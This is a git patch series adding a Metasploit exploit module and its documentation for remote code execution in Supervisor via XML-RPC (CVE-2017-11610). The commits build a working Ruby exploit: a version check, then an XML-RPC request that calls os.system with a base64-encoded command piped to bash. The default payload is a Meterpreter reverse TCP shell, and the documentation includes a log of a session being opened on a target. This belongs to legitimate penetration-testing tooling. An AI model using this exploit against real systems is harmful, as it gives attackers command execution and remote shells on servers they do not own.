From 8b67b710fa423b1140f1df75e3bb694b31c950df Mon Sep 17 00:00:00 2001 From: Calum Hutton Date: Sun, 20 Aug 2017 18:28:21 +0100 Subject: [PATCH 01/11] Add template --- .../linux/http/supervisord_xmlrpc_exec.rb | 49 +++++++++++++++++++ 1 file changed, 49 insertions(+) create mode 100644 modules/exploits/linux/http/supervisord_xmlrpc_exec.rb diff --git a/modules/exploits/linux/http/supervisord_xmlrpc_exec.rb b/modules/exploits/linux/http/supervisord_xmlrpc_exec.rb new file mode 100644 index 0000000000..554f0cf453 --- /dev/null +++ b/modules/exploits/linux/http/supervisord_xmlrpc_exec.rb @@ -0,0 +1,49 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + def initialize(info={}) + super(update_info(info, + 'Name' => "[Vendor] [Software] [Root Cause] [Vulnerability type]", + 'Description' => %q{ + Say something that the user might need to know + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Name' ], + 'References' => + [ + [ 'URL', '' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'System or software version', + { + 'Ret' => 0x41414141 # This will be available in `target.ret` + } + ] + ], + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'Privileged' => false, + 'DisclosureDate' => "", + 'DefaultTarget' => 0)) + end + + def check + # For the check command + end + + def exploit + # Main function + end + +end \ No newline at end of file From 7cfb5fcc97f6588a7632f253e63730d9215d4c5f Mon Sep 17 00:00:00 2001 From: Calum Hutton Date: Sun, 20 Aug 2017 18:40:17 +0100 Subject: [PATCH 02/11] Rename --- .../{supervisord_xmlrpc_exec.rb => supervisor_xmlrpc_exec.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/linux/http/{supervisord_xmlrpc_exec.rb => supervisor_xmlrpc_exec.rb} (100%) diff --git a/modules/exploits/linux/http/supervisord_xmlrpc_exec.rb b/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb similarity index 100% rename from modules/exploits/linux/http/supervisord_xmlrpc_exec.rb rename to modules/exploits/linux/http/supervisor_xmlrpc_exec.rb From aee44e3bd2dbc7123bfe01ef959c8ed4f5789de0 Mon Sep 17 00:00:00 2001 From: Calum Hutton Date: Mon, 28 Aug 2017 15:23:16 +0100 Subject: [PATCH 03/11] Working meterpreter exploit No service restart --- .../linux/http/supervisor_xmlrpc_exec.rb | 174 ++++++++++++++++-- 1 file changed, 156 insertions(+), 18 deletions(-) diff --git a/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb b/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb index 554f0cf453..8c425eacc0 100644 --- a/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb +++ b/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb @@ -6,44 +6,182 @@ require 'msf/core' class MetasploitModule < Msf::Exploit::Remote - Rank = NormalRanking + Rank = GoodRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, - 'Name' => "[Vendor] [Software] [Root Cause] [Vulnerability type]", + 'Name' => "Supervisor XML-RPC Authenticated Remote Code Execution", 'Description' => %q{ - Say something that the user might need to know + This module exploits a vulnerability in the Supervisor process control software, where an authenticated client + can send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server. + The commands will be run as the same user as supervisord. Depending on how supervisord has been configured, this + may be root. This vulnerability can only be exploited by an authenticated client or if supervisord has been + configured to run an HTTP server without authentication. + + Due to the nature of this exploit, which utilizes the Python os.execve() function for RCE, the supervisord process + will die upon successful exploitation. This exploit attempts to restart the service to avoid a DoS of Supervisor. + + This vulnerability affects versions 3.0a1 to 3.3.2. }, 'License' => MSF_LICENSE, - 'Author' => [ 'Name' ], + 'Author' => + [ + 'Calum Hutton ' + ], 'References' => [ - [ 'URL', '' ] + ['URL', 'https://github.com/Supervisor/supervisor/issues/964'], + ['URL', 'https://www.debian.org/security/2017/dsa-3942'], ], - 'Platform' => 'win', + 'Platform' => 'linux', 'Targets' => [ - [ 'System or software version', - { - 'Ret' => 0x41414141 # This will be available in `target.ret` - } - ] + ['3.0a1-3.3.2', {}] ], - 'Payload' => + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'DefaultOptions' => { - 'BadChars' => "\x00" + 'RPORT' => 9001, + 'Payload' => 'linux/x64/meterpreter/reverse_tcp', + #'AutoRunScript' => 'post/multi/general/execute COMMAND="service supervisor restart"' }, 'Privileged' => false, - 'DisclosureDate' => "", - 'DefaultTarget' => 0)) + 'DisclosureDate' => '19 Jul 2017', + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(9001), + OptString.new('AUTH_REQUIRED', [false, 'Enable/disable HTTP basic auth', true]), + OptString.new('HttpUsername', [false, 'Username for HTTP basic auth']), + OptString.new('HttpPassword', [false, 'Password for HTTP basic auth']), + OptString.new('TARGETURI', [true, 'The path to the XML-RPC endpoint', '/RPC2']) + ] + ) + end + + def check_version(version_match) + maj = version_match[2] + min = version_match[3] + patch = version_match[5] + + if maj.to_i == 3 and (patch.nil? or patch.to_i < 3) + return true + else + return false + end end - def check - # For the check command + def check + + print_status("Extracting version from web interface..") + + params = { + 'method' => 'GET', + 'uri' => normalize_uri('/') + } + if datastore['AUTH_REQUIRED'].to_s == 'true' + print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})") + params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])}) + end + res = send_request_cgi(params) + + if res + if res.code == 200 + match = res.body.match(/((\d+)\.([\dab]+)(\.(\d+))?)<\/span>/) + if match + if check_version(match) + print_good("Vulnerable version found: #{match[1]}") + return Exploit::CheckCode::Appears + else + print_bad("Version #{match[1]} is not vulnerable") + return Exploit::CheckCode::Safe + end + else + print_bad("Could not extract version number from web interface") + return Exploit::CheckCode::Unknown + end + elsif res.code == 401 + print_bad("Authentication failed: #{res.code} response") + return Exploit::CheckCode::Safe + else + print_bad("Unexpected HTTP code: #{res.code} response") + return Exploit::CheckCode::Unknown + end + else + print_bad("Error connecting to web interface") + return Exploit::CheckCode::Unknown + end + + end + + def execute_command(cmd, opts = {}) + + # XML-RPC payload template + xml_payload = %{ + + supervisor.supervisord.options.execve + + + /bin/bash + + + + + bash + -c + echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|bash + + + + + + + + +} + + # Send the XML-RPC payload via POST to the specified endpoint + endpoint_path = target_uri.path + print_status("Sending XML-RPC payload via POST to #{peer}:#{datastore['RPORT']}#{endpoint_path}") + + params = { + 'method' => 'POST', + 'uri' => normalize_uri(endpoint_path), + 'ctype' => 'text/xml', + 'headers' => {'Accept' => 'text/xml'}, + 'data' => xml_payload, + 'encode_params' => false + } + if datastore['AUTH_REQUIRED'].to_s == 'true' + print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})") + params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])}) + end + return send_request_cgi(params, timeout=5) + end def exploit - # Main function + + res = execute_cmdstager(:linemax => 800) + + if res + if res.code == 401 + fail_with(Failure::NoAccess, "Authentication failed: #{res.code} response") + elsif res.code == 404 + fail_with(Failure::NotFound, "Invalid XML-RPC endpoint: #{res.code} response") + else + fail_with(Failure::UnexpectedReply, "Unexpected HTTP code: #{res.code} response") + end + else + print_good("Request timeout, usually indicates success. Passing to handler..") + handler + end + end end \ No newline at end of file From d0ff2694b36dec1b5e393ba28d528f814130abed Mon Sep 17 00:00:00 2001 From: Calum Hutton Date: Mon, 28 Aug 2017 16:51:26 +0100 Subject: [PATCH 04/11] Restart after payload process ends --- modules/exploits/linux/http/supervisor_xmlrpc_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb b/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb index 8c425eacc0..e75e80ebf8 100644 --- a/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb +++ b/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb @@ -134,7 +134,7 @@ class MetasploitModule < Msf::Exploit::Remote bash -c - echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|bash + echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|bash;(sleep 3;service supervisor restart &) From d53f10554d75bada1d6376f46f83ef09df537e4f Mon Sep 17 00:00:00 2001 From: Calum Hutton Date: Mon, 28 Aug 2017 18:54:49 +0100 Subject: [PATCH 05/11] Configurable restart command --- .../linux/http/supervisor_xmlrpc_exec.rb | 23 ++++++++----------- 1 file changed, 10 insertions(+), 13 deletions(-) diff --git a/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb b/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb index e75e80ebf8..bfc2cbfe49 100644 --- a/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb +++ b/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb @@ -19,12 +19,10 @@ class MetasploitModule < Msf::Exploit::Remote can send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server. The commands will be run as the same user as supervisord. Depending on how supervisord has been configured, this may be root. This vulnerability can only be exploited by an authenticated client or if supervisord has been - configured to run an HTTP server without authentication. - - Due to the nature of this exploit, which utilizes the Python os.execve() function for RCE, the supervisord process - will die upon successful exploitation. This exploit attempts to restart the service to avoid a DoS of Supervisor. - - This vulnerability affects versions 3.0a1 to 3.3.2. + configured to run an HTTP server without authentication. Due to the nature of this exploit, which utilizes the Python + os.execve() function for RCE, the supervisord process will die upon successful exploitation. This exploit attempts to + restart the service after the meterpreter session closes to avoid a DoS of Supervisor. This vulnerability affects + versions 3.0a1 to 3.3.2. }, 'License' => MSF_LICENSE, 'Author' => @@ -46,7 +44,6 @@ class MetasploitModule < Msf::Exploit::Remote { 'RPORT' => 9001, 'Payload' => 'linux/x64/meterpreter/reverse_tcp', - #'AutoRunScript' => 'post/multi/general/execute COMMAND="service supervisor restart"' }, 'Privileged' => false, 'DisclosureDate' => '19 Jul 2017', @@ -55,11 +52,11 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ - Opt::RPORT(9001), - OptString.new('AUTH_REQUIRED', [false, 'Enable/disable HTTP basic auth', true]), + Opt::RPORT(9001), OptString.new('HttpUsername', [false, 'Username for HTTP basic auth']), OptString.new('HttpPassword', [false, 'Password for HTTP basic auth']), - OptString.new('TARGETURI', [true, 'The path to the XML-RPC endpoint', '/RPC2']) + OptString.new('TARGETURI', [true, 'The path to the XML-RPC endpoint', '/RPC2']), + OptString.new('RESTART_COMMAND', [true, 'The command to restart the service', 'service supervisor restart']) ] ) end @@ -84,7 +81,7 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'GET', 'uri' => normalize_uri('/') } - if datastore['AUTH_REQUIRED'].to_s == 'true' + if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty? print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})") params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])}) end @@ -134,7 +131,7 @@ class MetasploitModule < Msf::Exploit::Remote bash -c - echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|bash;(sleep 3;service supervisor restart &) + echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|bash;(sleep 3;#{datastore['RESTART_COMMAND']} &) @@ -157,7 +154,7 @@ class MetasploitModule < Msf::Exploit::Remote 'data' => xml_payload, 'encode_params' => false } - if datastore['AUTH_REQUIRED'].to_s == 'true' + if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty? print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})") params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])}) end From 4934023fa5dbcf17def111f078c3be1c00a39272 Mon Sep 17 00:00:00 2001 From: Calum Hutton Date: Wed, 30 Aug 2017 00:48:27 +0100 Subject: [PATCH 06/11] Use alternate system() payload, dont worry about restarts Use nohup and & to background the meterpreter process --- .../linux/http/supervisor_xmlrpc_exec.rb | 31 ++++++------------- 1 file changed, 10 insertions(+), 21 deletions(-) diff --git a/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb b/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb index bfc2cbfe49..0bd2a5bd46 100644 --- a/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb +++ b/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb @@ -19,10 +19,7 @@ class MetasploitModule < Msf::Exploit::Remote can send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server. The commands will be run as the same user as supervisord. Depending on how supervisord has been configured, this may be root. This vulnerability can only be exploited by an authenticated client or if supervisord has been - configured to run an HTTP server without authentication. Due to the nature of this exploit, which utilizes the Python - os.execve() function for RCE, the supervisord process will die upon successful exploitation. This exploit attempts to - restart the service after the meterpreter session closes to avoid a DoS of Supervisor. This vulnerability affects - versions 3.0a1 to 3.3.2. + configured to run an HTTP server without authentication. This vulnerability affects versions 3.0a1 to 3.3.2. }, 'License' => MSF_LICENSE, 'Author' => @@ -33,6 +30,9 @@ class MetasploitModule < Msf::Exploit::Remote [ ['URL', 'https://github.com/Supervisor/supervisor/issues/964'], ['URL', 'https://www.debian.org/security/2017/dsa-3942'], + ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11610'], + ['URL', 'https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610'], + ['CVE', '2017-11610'] ], 'Platform' => 'linux', 'Targets' => @@ -56,7 +56,6 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('HttpUsername', [false, 'Username for HTTP basic auth']), OptString.new('HttpPassword', [false, 'Password for HTTP basic auth']), OptString.new('TARGETURI', [true, 'The path to the XML-RPC endpoint', '/RPC2']), - OptString.new('RESTART_COMMAND', [true, 'The command to restart the service', 'service supervisor restart']) ] ) end @@ -118,26 +117,16 @@ class MetasploitModule < Msf::Exploit::Remote def execute_command(cmd, opts = {}) - # XML-RPC payload template + # XML-RPC payload template, use nohup and & to detach and background the process so it doesnt hangup the web server + # Credit to the following urls for the os.system() payload + # https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610 + # https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html xml_payload = %{ - supervisor.supervisord.options.execve + supervisor.supervisord.options.warnings.linecache.os.system - /bin/bash - - - - - bash - -c - echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|bash;(sleep 3;#{datastore['RESTART_COMMAND']} &) - - - - - - + echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|nohup bash - & } From 42ab00fd2c6107d3a6ca202e44af934fa160c215 Mon Sep 17 00:00:00 2001 From: Calum Hutton Date: Wed, 30 Aug 2017 01:28:19 +0100 Subject: [PATCH 07/11] Add documentation for module --- .../linux/http/supervisor_xmlrpc_exec.md | 52 +++++++++++++++++++ 1 file changed, 52 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md diff --git a/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md b/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md new file mode 100644 index 0000000000..d61181cc06 --- /dev/null +++ b/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md @@ -0,0 +1,52 @@ +## Vulnerable Application + + This module exploits an authenticated RCE vulnerability in Supervisor versions 3.0a1 to 3.3.2 + + This has been tested with versions 3.2.0 and 3.3.2 + +## Verification Steps + + 1. ```msf > use exploit/linux/http/supervisor_xmlrpc_exec``` + 2. ```msf > set lhost 192.168.0.2``` + 3. ```msf > set rhost 192.168.0.19``` + 4. ```msf > set httpusername user``` (optional) + 5. ```msf > set httppassword 123``` (optional) + 6. ```msf > exploit``` + 7. A meterpreter session should have been opened successfully + +## Options + + `HttpUsername` - Username for HTTP basic auth (optional) + `HttpPassword` - Password for HTTP basic auth (optional) + `TARGETURI` - The path to the XML-RPC endpoint + +## Scenarios + + ``` +msf > use exploit/linux/http/supervisor_xmlrpc_exec +msf exploit(supervisor_xmlrpc_exec) > set httpusername user +httpusername => user +msf exploit(supervisor_xmlrpc_exec) > set httppassword 123 +httppassword => 123 +msf exploit(supervisor_xmlrpc_exec) > set lhost 192.168.0.2 +lhost => 192.168.0.2 +msf exploit(supervisor_xmlrpc_exec) > set rhost 192.168.0.19 +rhost => 192.168.0.19 +msf exploit(supervisor_xmlrpc_exec) > check + +[*] Extracting version from web interface.. +[*] Using basic auth (user:123) +[+] Vulnerable version found: 3.2.0 +[*] 192.168.0.19:9001 The target appears to be vulnerable. +msf exploit(supervisor_xmlrpc_exec) > exploit + +[*] Started reverse TCP handler on 192.168.0.2:4444 +[*] Sending XML-RPC payload via POST to 192.168.0.19:9001/RPC2 +[*] Using basic auth (user:123) +[*] Sending stage (2878872 bytes) to 192.168.0.19 +[*] Command Stager progress - 100.00% done (782/782 bytes) +[+] Request timeout, usually indicates success. Passing to handler.. +[*] Meterpreter session 1 opened (192.168.0.2:4444 -> 192.168.0.19:36186) at 2017-08-30 01:24:45 +0100 + +meterpreter > +``` \ No newline at end of file From 52c8fff3cb0cd5ec3fdb76b978fd2272db4c5c0b Mon Sep 17 00:00:00 2001 From: Calum Hutton Date: Wed, 30 Aug 2017 01:33:06 +0100 Subject: [PATCH 08/11] Make options a list --- .../modules/exploit/linux/http/supervisor_xmlrpc_exec.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md b/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md index d61181cc06..51e59f6302 100644 --- a/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md +++ b/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md @@ -16,9 +16,9 @@ ## Options - `HttpUsername` - Username for HTTP basic auth (optional) - `HttpPassword` - Password for HTTP basic auth (optional) - `TARGETURI` - The path to the XML-RPC endpoint + - `HttpUsername` - Username for HTTP basic auth (optional) + - `HttpPassword` - Password for HTTP basic auth (optional) + - `TARGETURI` - The path to the XML-RPC endpoint ## Scenarios From 9387a765e5ed0979f59052b5ef8061a004c24251 Mon Sep 17 00:00:00 2001 From: Calum Hutton Date: Wed, 30 Aug 2017 02:05:59 +0100 Subject: [PATCH 09/11] Fix msftidy warns/errs --- .../linux/http/supervisor_xmlrpc_exec.rb | 55 +++++++++---------- 1 file changed, 27 insertions(+), 28 deletions(-) diff --git a/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb b/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb index 0bd2a5bd46..5429354d89 100644 --- a/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb +++ b/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb @@ -3,11 +3,10 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking - + include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager @@ -15,16 +14,16 @@ class MetasploitModule < Msf::Exploit::Remote super(update_info(info, 'Name' => "Supervisor XML-RPC Authenticated Remote Code Execution", 'Description' => %q{ - This module exploits a vulnerability in the Supervisor process control software, where an authenticated client - can send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server. - The commands will be run as the same user as supervisord. Depending on how supervisord has been configured, this - may be root. This vulnerability can only be exploited by an authenticated client or if supervisord has been - configured to run an HTTP server without authentication. This vulnerability affects versions 3.0a1 to 3.3.2. + This module exploits a vulnerability in the Supervisor process control software, where an authenticated client + can send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server. + The commands will be run as the same user as supervisord. Depending on how supervisord has been configured, this + may be root. This vulnerability can only be exploited by an authenticated client or if supervisord has been + configured to run an HTTP server without authentication. This vulnerability affects versions 3.0a1 to 3.3.2. }, 'License' => MSF_LICENSE, - 'Author' => - [ - 'Calum Hutton ' + 'Author' => + [ + 'Calum Hutton ' ], 'References' => [ @@ -46,25 +45,25 @@ class MetasploitModule < Msf::Exploit::Remote 'Payload' => 'linux/x64/meterpreter/reverse_tcp', }, 'Privileged' => false, - 'DisclosureDate' => '19 Jul 2017', + 'DisclosureDate' => 'Jul 19 2017', 'DefaultTarget' => 0 )) - + register_options( [ - Opt::RPORT(9001), + Opt::RPORT(9001), OptString.new('HttpUsername', [false, 'Username for HTTP basic auth']), OptString.new('HttpPassword', [false, 'Password for HTTP basic auth']), OptString.new('TARGETURI', [true, 'The path to the XML-RPC endpoint', '/RPC2']), ] ) end - + def check_version(version_match) maj = version_match[2] min = version_match[3] patch = version_match[5] - + if maj.to_i == 3 and (patch.nil? or patch.to_i < 3) return true else @@ -72,10 +71,10 @@ class MetasploitModule < Msf::Exploit::Remote end end - def check - + def check + print_status("Extracting version from web interface..") - + params = { 'method' => 'GET', 'uri' => normalize_uri('/') @@ -85,7 +84,7 @@ class MetasploitModule < Msf::Exploit::Remote params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])}) end res = send_request_cgi(params) - + if res if res.code == 200 match = res.body.match(/((\d+)\.([\dab]+)(\.(\d+))?)<\/span>/) @@ -112,9 +111,9 @@ class MetasploitModule < Msf::Exploit::Remote print_bad("Error connecting to web interface") return Exploit::CheckCode::Unknown end - + end - + def execute_command(cmd, opts = {}) # XML-RPC payload template, use nohup and & to detach and background the process so it doesnt hangup the web server @@ -130,11 +129,11 @@ class MetasploitModule < Msf::Exploit::Remote } - + # Send the XML-RPC payload via POST to the specified endpoint endpoint_path = target_uri.path - print_status("Sending XML-RPC payload via POST to #{peer}:#{datastore['RPORT']}#{endpoint_path}") - + print_status("Sending XML-RPC payload via POST to #{peer}#{datastore['TARGETURI']}") + params = { 'method' => 'POST', 'uri' => normalize_uri(endpoint_path), @@ -152,9 +151,9 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - + res = execute_cmdstager(:linemax => 800) - + if res if res.code == 401 fail_with(Failure::NoAccess, "Authentication failed: #{res.code} response") @@ -164,10 +163,10 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::UnexpectedReply, "Unexpected HTTP code: #{res.code} response") end else - print_good("Request timeout, usually indicates success. Passing to handler..") + print_good("Request returned without status code, usually indicates success. Passing to handler..") handler end end -end \ No newline at end of file +end From 3b745bd17cbc17f487bf6a0a262ae9638679c80c Mon Sep 17 00:00:00 2001 From: Calum Hutton Date: Wed, 30 Aug 2017 03:49:30 +0100 Subject: [PATCH 10/11] Rework the bash, redirect stdout/err to /dev/null Dont need the - --- modules/exploits/linux/http/supervisor_xmlrpc_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb b/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb index 5429354d89..1efe142534 100644 --- a/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb +++ b/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb @@ -125,7 +125,7 @@ class MetasploitModule < Msf::Exploit::Remote supervisor.supervisord.options.warnings.linecache.os.system - echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|nohup bash - & + echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|nohup bash > /dev/null 2>&1 & } From 9528f279a5c581b94b857307c6295df585e2fdb8 Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 23 Sep 2017 10:51:52 -0400 Subject: [PATCH 11/11] cleaned up version, and docs --- .../linux/http/supervisor_xmlrpc_exec.md | 48 ++++++++++++++----- .../linux/http/supervisor_xmlrpc_exec.rb | 29 +++++------ 2 files changed, 50 insertions(+), 27 deletions(-) diff --git a/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md b/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md index 51e59f6302..8b63cf55ec 100644 --- a/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md +++ b/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md @@ -4,25 +4,51 @@ This has been tested with versions 3.2.0 and 3.3.2 +### Creating A Testing Environment + + At the time of writing, version 3.2.0-2ubuntu0.1 is available in the Ubuntu repositories. + + 1. ```sudo apt-get install supervisor``` + 2. Enable Web interface/XML-RPC server in Supervisor config in `/etc/supervisor/supervisord.conf` + + ``` + [inet_http_server] ; inet (TCP) server disabled by default + port=:9001 ; ip_address:port specifier, *:port for all iface + username=user ; default is no username (open server) + password=123 ; default is no password (open server) + ``` + + 3. Restart the service: `sudo service supervisor restart` + ## Verification Steps - 1. ```msf > use exploit/linux/http/supervisor_xmlrpc_exec``` - 2. ```msf > set lhost 192.168.0.2``` - 3. ```msf > set rhost 192.168.0.19``` - 4. ```msf > set httpusername user``` (optional) - 5. ```msf > set httppassword 123``` (optional) - 6. ```msf > exploit``` + 1. ```use exploit/linux/http/supervisor_xmlrpc_exec``` + 2. ```set lhost [IP]``` + 3. ```set rhost [IP]``` + 4. ```set httpusername user``` + 5. ```set httppassword 123``` + 6. ```exploit``` 7. A meterpreter session should have been opened successfully ## Options - - `HttpUsername` - Username for HTTP basic auth (optional) - - `HttpPassword` - Password for HTTP basic auth (optional) - - `TARGETURI` - The path to the XML-RPC endpoint + **HttpUsername** + + Username for HTTP basic auth which is set in the conf file(optional) + + **HttpPassword** + + Password for HTTP basic auth which is set in the conf file(optional) + + **TARGETURI** + + The path to the XML-RPC endpoint ## Scenarios - ``` +### Supervisor 3.2.0 on Xubuntu 16.04 + +``` msf > use exploit/linux/http/supervisor_xmlrpc_exec msf exploit(supervisor_xmlrpc_exec) > set httpusername user httpusername => user @@ -49,4 +75,4 @@ msf exploit(supervisor_xmlrpc_exec) > exploit [*] Meterpreter session 1 opened (192.168.0.2:4444 -> 192.168.0.19:36186) at 2017-08-30 01:24:45 +0100 meterpreter > -``` \ No newline at end of file +``` diff --git a/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb b/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb index 1efe142534..3f28f6f321 100644 --- a/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb +++ b/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb @@ -5,7 +5,7 @@ class MetasploitModule < Msf::Exploit::Remote - Rank = GoodRanking + Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager @@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote This module exploits a vulnerability in the Supervisor process control software, where an authenticated client can send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server. The commands will be run as the same user as supervisord. Depending on how supervisord has been configured, this - may be root. This vulnerability can only be exploited by an authenticated client or if supervisord has been + may be root. This vulnerability can only be exploited by an authenticated client, or if supervisord has been configured to run an HTTP server without authentication. This vulnerability affects versions 3.0a1 to 3.3.2. }, 'License' => MSF_LICENSE, @@ -59,12 +59,8 @@ class MetasploitModule < Msf::Exploit::Remote ) end - def check_version(version_match) - maj = version_match[2] - min = version_match[3] - patch = version_match[5] - - if maj.to_i == 3 and (patch.nil? or patch.to_i < 3) + def check_version(version) + if version <= Gem::Version.new('3.3.2') and version >= Gem::Version.new('3.0a1') return true else return false @@ -73,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote def check - print_status("Extracting version from web interface..") + print_status('Extracting version from web interface..') params = { 'method' => 'GET', @@ -87,17 +83,18 @@ class MetasploitModule < Msf::Exploit::Remote if res if res.code == 200 - match = res.body.match(/((\d+)\.([\dab]+)(\.(\d+))?)<\/span>/) + match = res.body.match(/(\d+\.[\dab]\.\d+)<\/span>/) if match - if check_version(match) - print_good("Vulnerable version found: #{match[1]}") + version = Gem::Version.new(match[1]) + if check_version(version) + print_good("Vulnerable version found: #{version}") return Exploit::CheckCode::Appears else - print_bad("Version #{match[1]} is not vulnerable") + print_bad("Version #{version} is not vulnerable") return Exploit::CheckCode::Safe end else - print_bad("Could not extract version number from web interface") + print_bad('Could not extract version number from web interface') return Exploit::CheckCode::Unknown end elsif res.code == 401 @@ -108,7 +105,7 @@ class MetasploitModule < Msf::Exploit::Remote return Exploit::CheckCode::Unknown end else - print_bad("Error connecting to web interface") + print_bad('Error connecting to web interface') return Exploit::CheckCode::Unknown end @@ -163,7 +160,7 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::UnexpectedReply, "Unexpected HTTP code: #{res.code} response") end else - print_good("Request returned without status code, usually indicates success. Passing to handler..") + print_good('Request returned without status code, usually indicates success. Passing to handler..') handler end